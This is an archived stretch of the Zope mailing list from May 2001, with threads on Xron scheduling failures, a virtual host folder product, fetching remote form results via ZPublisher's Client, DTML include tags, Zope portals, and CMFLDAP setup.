/usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_Util.py, line= 161, in careful_getitem TypeError: sequence index must be integer Which I think is directly related to what I am experiencing with getting = the manage_main. Jason > The other thing I now notice is that you are mixing the old security > model with __ac_permissions__ with the new one "classSecurityInfo". > = > This is likely confusing Zope. Drop the __ac_permissions__ stuff. > = > -- = > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> > = > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - = > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From lstafford@morphics.com Thu May 3 23:26:14 2001 From: lstafford@morphics.com (Loren Stafford) Date: Thu, 3 May 2001 15:26:14 -0700 Subject: [Zope] Xron not firing reliably In-Reply-To: <52357C028418D411B45200508BA5539545FB39@SYSEXCHG> Message-ID: The Xron Dispatcher always makes a log entry (or tries to) when it finds a ready event in the Schedule catalog and tries to fire it. If there are no log entries when you expect them, I can think of the following possible explanations: 1. There is a catalog bug. Some bugs were introduced and fixed in recent Zope releases. Make sure you have all the patches. 2. The method was removed from the catalog due to an error during an earlier trigger. This should leave an earlier entry in the log. 3. The method was not rescheduled after the last firing. This would probably be due to application logic. I hope that will give you a good idea of where to look for the problem. Xron DTML Methods that are not in the Schedule can usually be restarted without restarting Zope. Just pretend to do an edit operation by clicking on the Change button on the manage_edit panel. That will cause recataloging in the Schedule. You may or may not have to change the scheduling parameters first. I would avoid scheduling a lot of events for the same time. It shouldn't cause any problems, but you never know. Xron will serialize them anyway. What platform are you running on? I've found on my NT4 platform that occasionally Client.py gets a socket error (for reasons I haven't discovered yet), causing the trigger process to fault and resulting in removal of the method from the Schedule. You might see some tracks with the Event Viewer -- but I don't know much about that. -- HTH -- Loren > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of > Capesius, Alan > Sent: Thursday, May 03, 2001 14:25 > To: zope@zope.org > Subject: [Zope] Xron not firing reliably > > > I'm using a sendmail operation in three identical xron methods. > The events are scheduled for 12:00:00 each day. > They can be triggered manually or scheduled for other times, but > they do not > fire reliably over time. > That is, they will work the first and maybe second time but will not fire > repeatedly over several days. > No output goes to the STUPID_LOG_FILE when this happens. > > Restarting the Zope service will activate the unfired events and log them. > > Anyone have any ideas on what might be going on or not going on here? > > I'm currently running a test with a simple test logging event that fires > every minute to see if it will eventually break down. > > > Thanks, > > > Alan Capesius, MCSE/NTCIP+20 > Technical Support Engineer > Sysmex Corporation of America > capesiusa@sysmex.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From cbeaumon@msri.org Thu May 3 23:17:51 2001 From: cbeaumon@msri.org (Chris Beaumont) Date: Thu, 3 May 2001 15:17:51 -0700 Subject: [Zope] #include with DocumentTemplate? In-Reply-To: <200105031711.NAA23452@birds.us.itd.umich.edu> References: <200105031711.NAA23452@birds.us.itd.umich.edu> Message-ID: Lance, Do you mean ? Of course, any DTML method will be parsed when the page is viewed, using its context, not rendered into a static file beforehand.. that's the single biggest plus to using Zope, I think.. :) HTH, Chris >I'm fairly new to Python and when I asked this question on a couple of >the python.org mailing lists, I was told I should probably ask here >instead. > >I'm writing some CGIs in Python and I borrowed the DocumentTemplate >module from Zope because it does most of what I need. However, there's >one thing that it apparently doesn't do that I would really like. And >that would be to use "#include" tags to read in other DTML documents >and parse them. That is, tags like this: > > > >Does DocumentTemplate already handle that? I couldn't find it in the >documentation. > >If it's not already built-in, is it possible to add such a tag? I've >seen the examples on zope.org for adding tags to DocumentTemplate's >parser, but I don't know if its possible to get it to read a new file >and parse it in the middle of parsing another template. Has anybody >already implemented this? > >Thanks in advance. > From cg@cdegroot.com Thu May 3 23:52:46 2001 From: cg@cdegroot.com (Cees de Groot) Date: Fri, 04 May 2001 00:52:46 +0200 Subject: [Zope] Virtual HostMonster article In-Reply-To: Your message of "Thu, 03 May 2001 16:38:16 EDT." <004e01c0d410$fbbe6ca0$c3090740@megapathdsl.net> Message-ID: <200105032252.f43Mqkv26351@home.cdegroot.com> jasonic@nomadicsltd.com said: > That sound just like what I am looking for.. and for similar reasons. > Is your product posted anywhere? Nope. When things get quieter here, I'm planning to separate out a bunch of goodies I wrote the last half year and post them, but at the moment I'm too busy for that. It's not that it is much code: # # $Id: VirtualHostFolder.py,v 1.2 2001/05/03 13:24:04 cg Exp $ # from Globals import HTMLFile from OFS import Folder from Products.ZCatalog import CatalogAwareness from Products.SiteAccess import SiteRoot import string class VirtualHostFolder(Folder.Folder, CatalogAwareness.CatalogAware): """A virtual host folder""" meta_type = 'TIO Virtual Host Folder' def __init__(self, sitename): self.id = sitename.lower().replace('.', '_') self.title = sitename self.default_catalog = 'sites' def manage_beforeDelete(self, item, container): print "Deleting stuffsky..." Folder.Folder.manage_beforeDelete(self, item, container) self.unindex_object() def manage_add_virtualhostfolder(self, sitename, REQUEST=None, submit=None): 'Add a Virtual Host Folder' o = VirtualHostFolder(sitename) self._setObject(o.id, o) SiteRoot.manage_addSiteRoot(o) getattr(self, o.id).index_object() if REQUEST is not None: self.manage_main(self, REQUEST, update_menu=1) manage_add_virtualhostfolder_form = \ HTMLFile('manage_add_virtualhostfolder_form', globals()) -- and using it from an AccessRule: def vhost(self, REQUEST): hostname = string.split(REQUEST['HTTP_HOST'], ':')[0] r = self.sites({ 'id': string.replace(hostname, '.', '_')}) if len(r) == 1: path = string.split(r[0].getPath(), '/')[1:] path.reverse() REQUEST['TraversalRequestNameStack'].extend(path) REQUEST.set('SiteRootPATH', '/') else: # I look into a SQL database here to do things like business cards # and redirects as you can see, still SiteRoot based. I don't even have the time to subject VHM to a decent evaluation yet :=) -- Cees de Groot http://www.cdegroot.com GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD 1986 F303 937F E098 9E8B From marcbpc@gmx.de Fri May 4 00:30:34 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Fri, 4 May 2001 01:30:34 +0200 Subject: AW: AW: AW: [Zope] Source from form result. In-Reply-To: <1087752900.988930230@BUZZER> Message-ID: Hey, thanks to all of you, that tried to help me. Finally I had success with the httplib funktion. ... :-))) Marc > -----Ursprungliche Nachricht----- > Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Tino > Wildenhain > Gesendet: Donnerstag, 3. Mai 2001 22:51 > An: Marc Fischer; Danny William Adair; Paula Mangas > Cc: zope@zope.org > Betreff: Re: AW: AW: [Zope] Source from form result. > > > Hi Marc, > > its simply: > > > > > > in your case :) > x and y go into this **kw argument. If this is set, > webclient uses POST. > > HTH > Tino Wildenhain. > > --On Mittwoch, 2. Mai 2001 20:45 +0200 Marc Fischer > wrote: > > > Hi Tino, > > > > I think, thats it, what I am looking for. Your Example works > fine so far. > > But my understanding in python I so low, that I am not able change it in > > my needed way. Perhabs you could tell me how to realize this: > > > > > > > > > > > > > > > > and show me how to get the source of the result page?! :-) > > > > I would be very happy, ... thanx a lot ... > > > > Marc > > > > > > > > > >> -----Ursprungliche Nachricht----- > >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > Auftrag von Tino > >> Wildenhain > >> Gesendet: Mittwoch, 2. Mai 2001 15:37 > >> An: Marc Fischer; Danny William Adair; Paula Mangas > >> Cc: zope@zope.org > >> Betreff: Re: AW: [Zope] Source from form result. > >> > >> > >> Hi Marc, > >> > >> zope has a "client" deep in its core :) > >> See lib/python/ZPublisher/Client.py > >> for more info. > >> > >> I currently use a external method like this: > >> > >> > from ZPublisher import Client > >> > >> def web_client(url = '', username = None, password = None, **kw): > >> '''access http servers''' > >> class gen_res: > >> __allow_access_to_unprotected_subobjects__=1 > >> f=gen_res() > >> if kw: > >> f.headers,f.body=Client.call(url,username,password,kw) > >> else: > >> f.headers,f.body=Client.call(url,username,password) > >> return(f) > >> > >> > >> And use it like this: > >> > >> > >> > >> > >> > >> In Client.py are also methods and functions to map arguments > >> to a POST request as you wish. > >> > >> I think, the above could be a starting point for you. > >> > >> HTH > >> Tino Wildenhain > >> > >> --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer > >> wrote: > >> > >> > Hi Danny, > >> > > >> > first of all thank you for your detailed help!!! That is > >> nearly, what I am > >> > looking for, but one problem exists: > >> > The page I want to extract (you are right ... its on an external > >> > server) does not work with passing the variables in the url. > I mean ... > >> > > >> > http://server?x=a&y=b does not work. > >> > > >> > I need to do it with a form like: > >> > > >> >
> >> > > >> > > >> > > >> >
> >> > > >> > That's my big big problem. Btw, ... its legal :-))) > >> > > >> > Marc > >> > > >> > > >> > > >> > > >> > > >> > > >> >> -----Ursprungliche Nachricht----- > >> >> Von: Danny William Adair [mailto:Danny@Adair.net] > >> >> Gesendet: Mittwoch, 2. Mai 2001 01:26 > >> >> An: Marc Fischer; Paula Mangas > >> >> Cc: zope@zope.org > >> >> Betreff: Re: [Zope] Source from form result. > >> >> > >> >> > >> >> Hi Marc, > >> >> > >> >> When you submit a form to one of your DTML methods or > >> documents, all the > >> >> form variables will be available without any further work to be done > >> >> (REQUEST object, see docs). But if I get you right, you are not > >> >> submitting your form to a method of your own. So things are a bit > >> >> different here. > >> >> > >> >> As I understand it, you are submitting your form to someone > >> else's server > >> >> (since otherwise you would produce the output yourself). > Maybe you're > >> >> providing an input form that is directed to a search engine, > >> or something > >> >> similar. > >> >> > >> >> -------------------------------------------- > >> >>
> >> >> > >> >> > >> >> > >> >> > >> >> > >> >> > >> >>
> >> >> -------------------------------------------- > >> >> > >> >> If so, then you should take a look at the "KebasData" Product: > >> >> http://www.zope.org/Members/kedai/KebasData > >> >> > >> >> Just instantiate a KebasData object, let's say "results". Take a > >> >> look at the > >> >> product's documentation to see how you can extract the > >> relevant code from > >> >> the external server's result page. I'll try to get you started right > >> >> away: > >> >> > >> >> Set the regular expression patterns properly, start with > >> >> > >> >> .* > >> >> > >> >> as the search pattern and leave the rest blank ("url" will be set > >> >> by a DTML > >> >> method you create, see below), then you'll get the entire > >> >> external page, you > >> >> can change that later to fit your needs. > >> >> > >> >> Then create a DTML method next to it, lets say > "getResults". It could > >> >> look like this: > >> >> > >> >> > >> >>

RESULTS

> >> >> > >> >> >> >> easier to do further processing with your fetched data. > >> >> > >> >> hth, > >> >> Danny > >> >> > >> >> P.S.: Check the legal stuff before extracting other > people's pages ;-) > >> >> > >> >> >>> -----Ursprungliche Nachricht----- > >> >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > >> >> Auftrag von Marc > >> >> >>> Fischer > >> >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p > >> >> >>> An: Paula Mangas; Marc Fischer > >> >> >>> Cc: zope@zope.org > >> >> >>> Betreff: AW: [Zope] Source from form result. > >> >> >>> > >> >> >>> > >> >> >>> Hi, > >> >> >>> > >> >> >>> I think there was an understanding problem. I want to get the > >> >> >>> source code of > >> >> >>> the result that is displayed in the browser, after klicking on > >> >> >>> the submit > >> >> >>> button. I want to be able to handle this source perhabs > to create > >> >> >>> a dtmlmethod wiht it, or do some string extractions with it. > >> >> >>> > >> >> >>> > >> >> >>> > >> >> >>> > -----Ursprungliche Nachricht----- > >> >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > >> >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 > >> >> >>> > An: Marc Fischer > >> >> >>> > Cc: zope@zope.org > >> >> >>> > Betreff: Re: [Zope] Source from form result. > >> >> >>> > > >> >> >>> > > >> >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: > >> >> >>> > > >> >> >>> > > Hi, > >> >> >>> > > > >> >> >>> > > I want to get the HTML result from a form into a > dtml method. > >> >> >>> > So I need a > >> >> >>> > > way to handle this result, but HOW. > >> >> >>> > > > >> >> >>> > > The form ist like this: > >> >> >>> > > > >> >> >>> > >
> >> >> >>> > > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > >
> >> >> >>> > > > >> >> >>> > > If I klick on submit, I get the result displayed in the > >> >> >>> Browser, but I > >> >> >>> > > cannot work with it. > >> >> >>> > > Perhaps someone could help me??? > >> >> >>> > > >> >> >>> > > >> >> >>> > Hi, > >> >> >>> > > >> >> >>> > > >> >> >>> > I think that, if you try > >> >> >>> >
>> >> method=POST> > >> >> >>> > > >> >> >>> > it will work. > >> >> >>> > > >> >> >>> > Paula > >> >> >>> > > >> >> >>> > >> >> >>> > >> >> >>> _______________________________________________ > >> >> >>> Zope maillist - Zope@zope.org > >> >> >>> http://lists.zope.org/mailman/listinfo/zope > >> >> >>> ** No cross posts or HTML encoding! ** > >> >> >>> (Related lists - > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-announce > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) > >> >> >>> > >> >> > >> > > >> > > >> > _______________________________________________ > >> > Zope maillist - Zope@zope.org > >> > http://lists.zope.org/mailman/listinfo/zope > >> > ** No cross posts or HTML encoding! ** > >> > (Related lists - > >> > http://lists.zope.org/mailman/listinfo/zope-announce > >> > http://lists.zope.org/mailman/listinfo/zope-dev ) > >> > >> > >> > >> > >> > >> _______________________________________________ > >> Zope maillist - Zope@zope.org > >> http://lists.zope.org/mailman/listinfo/zope > >> ** No cross posts or HTML encoding! ** > >> (Related lists - > >> http://lists.zope.org/mailman/listinfo/zope-announce > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > >> > > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From lstafford@morphics.com Fri May 4 01:02:40 2001 From: lstafford@morphics.com (Loren Stafford) Date: Thu, 3 May 2001 17:02:40 -0700 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: Did you get enough new material to write a HowTo? "How To Screen Scrape" -- Loren > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Marc > Fischer > Sent: Thursday, May 03, 2001 16:31 > To: Tino Wildenhain; Marc Fischer; Danny William Adair; Paula Mangas > Cc: zope@zope.org > Subject: AW: AW: AW: [Zope] Source from form result. > > > Hey, thanks to all of you, that tried to help me. > > Finally I had success with the httplib funktion. ... :-))) > > Marc > > > > > -----Ursprungliche Nachricht----- > > Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Tino > > Wildenhain > > Gesendet: Donnerstag, 3. Mai 2001 22:51 > > An: Marc Fischer; Danny William Adair; Paula Mangas > > Cc: zope@zope.org > > Betreff: Re: AW: AW: [Zope] Source from form result. > > > > > > Hi Marc, > > > > its simply: > > > > > > > > > > > > in your case :) > > x and y go into this **kw argument. If this is set, > > webclient uses POST. > > > > HTH > > Tino Wildenhain. > > > > --On Mittwoch, 2. Mai 2001 20:45 +0200 Marc Fischer > > wrote: > > > > > Hi Tino, > > > > > > I think, thats it, what I am looking for. Your Example works > > fine so far. > > > But my understanding in python I so low, that I am not able > change it in > > > my needed way. Perhabs you could tell me how to realize this: > > > > > > > > > > > > > > > > > > > > > > > > and show me how to get the source of the result page?! :-) > > > > > > I would be very happy, ... thanx a lot ... > > > > > > Marc > > > > > > > > > > > > > > >> -----Ursprungliche Nachricht----- > > >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > > Auftrag von Tino > > >> Wildenhain > > >> Gesendet: Mittwoch, 2. Mai 2001 15:37 > > >> An: Marc Fischer; Danny William Adair; Paula Mangas > > >> Cc: zope@zope.org > > >> Betreff: Re: AW: [Zope] Source from form result. > > >> > > >> > > >> Hi Marc, > > >> > > >> zope has a "client" deep in its core :) > > >> See lib/python/ZPublisher/Client.py > > >> for more info. > > >> > > >> I currently use a external method like this: > > >> > > >> > from ZPublisher import Client > > >> > > >> def web_client(url = '', username = None, password = None, **kw): > > >> '''access http servers''' > > >> class gen_res: > > >> __allow_access_to_unprotected_subobjects__=1 > > >> f=gen_res() > > >> if kw: > > >> f.headers,f.body=Client.call(url,username,password,kw) > > >> else: > > >> f.headers,f.body=Client.call(url,username,password) > > >> return(f) > > >> > > >> > > >> And use it like this: > > >> > > >> > > >> > > >> > > >> > > >> In Client.py are also methods and functions to map arguments > > >> to a POST request as you wish. > > >> > > >> I think, the above could be a starting point for you. > > >> > > >> HTH > > >> Tino Wildenhain > > >> > > >> --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer > > >> wrote: > > >> > > >> > Hi Danny, > > >> > > > >> > first of all thank you for your detailed help!!! That is > > >> nearly, what I am > > >> > looking for, but one problem exists: > > >> > The page I want to extract (you are right ... its on an external > > >> > server) does not work with passing the variables in the url. > > I mean ... > > >> > > > >> > http://server?x=a&y=b does not work. > > >> > > > >> > I need to do it with a form like: > > >> > > > >> >
> > >> > > > >> > > > >> > > > >> >
> > >> > > > >> > That's my big big problem. Btw, ... its legal :-))) > > >> > > > >> > Marc > > >> > > > >> > > > >> > > > >> > > > >> > > > >> > > > >> >> -----Ursprungliche Nachricht----- > > >> >> Von: Danny William Adair [mailto:Danny@Adair.net] > > >> >> Gesendet: Mittwoch, 2. Mai 2001 01:26 > > >> >> An: Marc Fischer; Paula Mangas > > >> >> Cc: zope@zope.org > > >> >> Betreff: Re: [Zope] Source from form result. > > >> >> > > >> >> > > >> >> Hi Marc, > > >> >> > > >> >> When you submit a form to one of your DTML methods or > > >> documents, all the > > >> >> form variables will be available without any further work > to be done > > >> >> (REQUEST object, see docs). But if I get you right, you are not > > >> >> submitting your form to a method of your own. So things are a bit > > >> >> different here. > > >> >> > > >> >> As I understand it, you are submitting your form to someone > > >> else's server > > >> >> (since otherwise you would produce the output yourself). > > Maybe you're > > >> >> providing an input form that is directed to a search engine, > > >> or something > > >> >> similar. > > >> >> > > >> >> -------------------------------------------- > > >> >>
> > >> >> > > >> >> > > >> >> > > >> >> > > >> >> > > >> >> > > >> >>
> > >> >> -------------------------------------------- > > >> >> > > >> >> If so, then you should take a look at the "KebasData" Product: > > >> >> http://www.zope.org/Members/kedai/KebasData > > >> >> > > >> >> Just instantiate a KebasData object, let's say "results". Take a > > >> >> look at the > > >> >> product's documentation to see how you can extract the > > >> relevant code from > > >> >> the external server's result page. I'll try to get you > started right > > >> >> away: > > >> >> > > >> >> Set the regular expression patterns properly, start with > > >> >> > > >> >> .* > > >> >> > > >> >> as the search pattern and leave the rest blank ("url" will be set > > >> >> by a DTML > > >> >> method you create, see below), then you'll get the entire > > >> >> external page, you > > >> >> can change that later to fit your needs. > > >> >> > > >> >> Then create a DTML method next to it, lets say > > "getResults". It could > > >> >> look like this: > > >> >> > > >> >> > > >> >>

RESULTS

> > >> >> > > >> >> > >> >> easier to do further processing with your fetched data. > > >> >> > > >> >> hth, > > >> >> Danny > > >> >> > > >> >> P.S.: Check the legal stuff before extracting other > > people's pages ;-) > > >> >> > > >> >> >>> -----Ursprungliche Nachricht----- > > >> >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > > >> >> Auftrag von Marc > > >> >> >>> Fischer > > >> >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p > > >> >> >>> An: Paula Mangas; Marc Fischer > > >> >> >>> Cc: zope@zope.org > > >> >> >>> Betreff: AW: [Zope] Source from form result. > > >> >> >>> > > >> >> >>> > > >> >> >>> Hi, > > >> >> >>> > > >> >> >>> I think there was an understanding problem. I want to get the > > >> >> >>> source code of > > >> >> >>> the result that is displayed in the browser, after klicking on > > >> >> >>> the submit > > >> >> >>> button. I want to be able to handle this source perhabs > > to create > > >> >> >>> a dtmlmethod wiht it, or do some string extractions with it. > > >> >> >>> > > >> >> >>> > > >> >> >>> > > >> >> >>> > -----Ursprungliche Nachricht----- > > >> >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > > >> >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 > > >> >> >>> > An: Marc Fischer > > >> >> >>> > Cc: zope@zope.org > > >> >> >>> > Betreff: Re: [Zope] Source from form result. > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: > > >> >> >>> > > > >> >> >>> > > Hi, > > >> >> >>> > > > > >> >> >>> > > I want to get the HTML result from a form into a > > dtml method. > > >> >> >>> > So I need a > > >> >> >>> > > way to handle this result, but HOW. > > >> >> >>> > > > > >> >> >>> > > The form ist like this: > > >> >> >>> > > > > >> >> >>> > >
> > >> >> >>> > > > > >> >> >>> > > > > >> >> >>> > > > > >> >> >>> > >
> > >> >> >>> > > > > >> >> >>> > > If I klick on submit, I get the result displayed in the > > >> >> >>> Browser, but I > > >> >> >>> > > cannot work with it. > > >> >> >>> > > Perhaps someone could help me??? > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > Hi, > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > I think that, if you try > > >> >> >>> >
> >> >> method=POST> > > >> >> >>> > > > >> >> >>> > it will work. > > >> >> >>> > > > >> >> >>> > Paula > > >> >> >>> > > > >> >> >>> > > >> >> >>> > > >> >> >>> _______________________________________________ > > >> >> >>> Zope maillist - Zope@zope.org > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope > > >> >> >>> ** No cross posts or HTML encoding! ** > > >> >> >>> (Related lists - > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-announce > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) > > >> >> >>> > > >> >> > > >> > > > >> > > > >> > _______________________________________________ > > >> > Zope maillist - Zope@zope.org > > >> > http://lists.zope.org/mailman/listinfo/zope > > >> > ** No cross posts or HTML encoding! ** > > >> > (Related lists - > > >> > http://lists.zope.org/mailman/listinfo/zope-announce > > >> > http://lists.zope.org/mailman/listinfo/zope-dev ) > > >> > > >> > > >> > > >> > > >> > > >> _______________________________________________ > > >> Zope maillist - Zope@zope.org > > >> http://lists.zope.org/mailman/listinfo/zope > > >> ** No cross posts or HTML encoding! ** > > >> (Related lists - > > >> http://lists.zope.org/mailman/listinfo/zope-announce > > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > >> > > > > > > > > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From lsloan@umich.edu Fri May 4 01:17:53 2001 From: lsloan@umich.edu (Lance E Sloan) Date: Thu, 03 May 2001 20:17:53 -0400 Subject: [Zope] #include with DocumentTemplate? In-Reply-To: Your message of "Thu, 03 May 2001 15:17:51 PDT." Message-ID: <200105040017.UAA28383@birds.us.itd.umich.edu> Chris Beaumont wrote: > Do you mean ? Hmm. I don't think so, but then, I don't understand all the features of DocumentTemplate, so I'm not sure. Maybe that will do what I want. I thought that the dtml-var tag was just used to display the value of a variable. Does it do more than that? I assume that by "myDTMLmethod", you mean that is a variable that you have assigned a method to. Is that correct? (I have a C background, so I would call it a pointer to a function.) If that's what you mean, it's not what I was hoping for. Basically, I'm looking for something that works just like the SSI '' tag. When DocumentTemplate encounters it in one DTML file, it will read in the specified file, presumably also containing DTML, and parse it, recursively. > Of course, any DTML method will be parsed when the page is viewed, > using its context, not rendered into a static file beforehand.. > that's the single biggest plus to using Zope, I think.. Yes, I agree. Since I'm new to Python, I don't understand all the terminology yet. What exactly do you mean by "DTML method"? My apologies if I'm asking so many questions that I seem to be a simpleton. Hopefully I'm not getting on anybody's nerves. Yet. -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Perl & Python CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From andym@ActiveState.com Fri May 4 01:34:16 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 3 May 2001 17:34:16 -0700 Subject: [Zope] #include with DocumentTemplate? References: <200105031711.NAA23452@birds.us.itd.umich.edu> Message-ID: <003101c0d431$f32777f0$ae03a8c0@activestate.com> > I'm writing some CGIs in Python and I borrowed the DocumentTemplate So you aren't using Zope and the ZODB in a traditional way. This is just importing the DocumentTemplate in a python CGI script? If its the latter I dont know... Cheers. -- Andy McKay. From joe@iuveno-net.de Fri May 4 01:34:36 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Fri, 4 May 2001 02:34:36 +0200 Subject: [Zope] Zope as Portal Server References: <20010503204022.3288.cpmta@c000.snv.cp.net> Message-ID: <005501c0d431$ff4b8800$0200a8c0@iuvenonet.de> > Was researching something for work and was curious if anyone had any thoughts as to how ZOPE could be used as a PORTAL SERVER? > > Portals being all the craze(!) in the enterprise-land - seems as if ZOPE or even cooler a "vertical" version of ZOPE geared towards specifically the needs of deploying and maintaining an Enterprise portal... > > Any thoughts on the topic? or on the topic of ZOPE in the enterprise? or on the topic of Vertical versions of the ZOPE application? That's one of the things we are trying to build at iuveno now (after finding out that the "portal" in "Portal Toolkit" meant something else than "Enterprise Integration Portal"). We already have a couple of ZClass-based implementations for a configurable portal site, but we are working on porting the stuff to real Python products. Joachim. From randy@spoke.net Fri May 4 01:36:59 2001 From: randy@spoke.net (Randall F. Kern) Date: Thu, 3 May 2001 17:36:59 -0700 Subject: [Zope] #include with DocumentTemplate? Message-ID: >From you original mail I think you've just pulled the DocumentTemplate module from Zope, and are using it in your own Python CGI. Assuming that's the case, you need to write a dtml-include tag to do this. It'll be pretty easy, but one doesn't exist out of the box, at least not that I've ever found. -Randy > -----Original Message----- > From: Andy McKay [mailto:andym@ActiveState.com] > Sent: Thursday, May 03, 2001 5:34 PM > To: zope@zope.org; Lance E Sloan > Subject: Re: [Zope] #include with DocumentTemplate? >=20 >=20 > > I'm writing some CGIs in Python and I borrowed the DocumentTemplate >=20 > So you aren't using Zope and the ZODB in a traditional way.=20 > This is just > importing the DocumentTemplate in a python CGI script? If its=20 > the latter I > dont know... >=20 > Cheers. > -- > Andy McKay. >=20 >=20 > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists -=20 > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) >=20 From briga@borland.com Fri May 4 02:05:01 2001 From: briga@borland.com (Ben Riga) Date: Thu, 3 May 2001 18:05:01 -0700 Subject: [Zope] RE: [Zope-CMF] [ANN] CMFLDAP product released In-Reply-To: Message-ID: I tried to get this working on a Windows system a while back but was never able to get all the pieces together. It appears that the underlying LDAP objects are primarily available only on Linux. Now that this is available for CMF I'd like to try this again. Do you know of a site where I could get information on setting this up for Windows NT or 2K? Thanks, Ben -----Original Message----- From: zope-cmf-admin@zope.org [mailto:zope-cmf-admin@zope.org]On Behalf Of Jens Vagelpohl Sent: Sunday, April 29, 2001 7:45 PM To: zope-cmf@zope.org Cc: zope@zope.org Subject: [Zope-CMF] [ANN] CMFLDAP product released hi everybody, CMFLDAP is a standalone python product which replaces the membership tools in the CMF with LDAP-backend-compatible implementations. In order to work with an LDAP server it uses the services exposed by the LDAPLoginAdapter (http://www.dataflake.org/software/ldaploginadapter) and the LDAPUserManager (http://www.dataflake.org/software/ldapusermanager) products. **Important note** The minimum software requirements for this product combo are as follows: o Zope 2.3.0 or higher o a CMF CVS checkout or release after 4/27/01 o LDAPLoginAdapter 1.4beta3 or higher o LDAPUserManager 1.1beta2 or higher You can view some of the documentation and download the software at http://www.dataflake.org/software/cmfldap/. A Tracker at that same address allows you to easily file bug reports or feature requests for this product. jens _______________________________________________ Zope-CMF maillist - Zope-CMF@zope.org http://lists.zope.org/mailman/listinfo/zope-cmf See http://www.zope.org/Products/PTK/Tracker for bug reports and feature requests From kedai@kedai.com.my Fri May 4 02:32:39 2001 From: kedai@kedai.com.my (bak (kedai)) Date: Fri, 4 May 2001 09:32:39 +0800 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <3AF16AF1.27D9B327@kaivo.com> References: <3AF12072.29158.3068FAC8@localhost> <01050315201500.01878@tokey> <3AF16AF1.27D9B327@kaivo.com> Message-ID: <01050409323901.00747@tokey> > > Assuming version 2.3, try: > > sort_expr="bobo_modification_time()"> > > since it is a method. > > hth, what's the difference between using sort and sort_expr? the sort=something has been there since forever :) and i have been using it in my codes. is it something bad? thanks From joe@iuveno-net.de Fri May 4 03:20:57 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Fri, 4 May 2001 04:20:57 +0200 Subject: [Zope] RE: [Zope-CMF] [ANN] CMFLDAP product released References: Message-ID: <001101c0d440$dae04460$0200a8c0@iuvenonet.de> > Now that this is available for CMF I'd like to try this again. Do you know > of a site where I could get information on setting this up for Windows NT or > 2K? You'll definitely need an LDAP server for that. The ActiveDirectory of Win2K is basically an LDAP server, so it should do what you need. But I have no idea how to configure the connection strings correctly for 2K. Basic info can be found here: http://www.labmice.net/ActiveDirectory/AD_ldap.htm (It's just a google search result, so maybe there are better resources ...) Joachim From nichols@tradingconnections.com Fri May 4 04:14:01 2001 From: nichols@tradingconnections.com (Dennis Nichols) Date: Thu, 03 May 2001 22:14:01 -0500 Subject: [Zope] Zope book error or version difference? Message-ID: 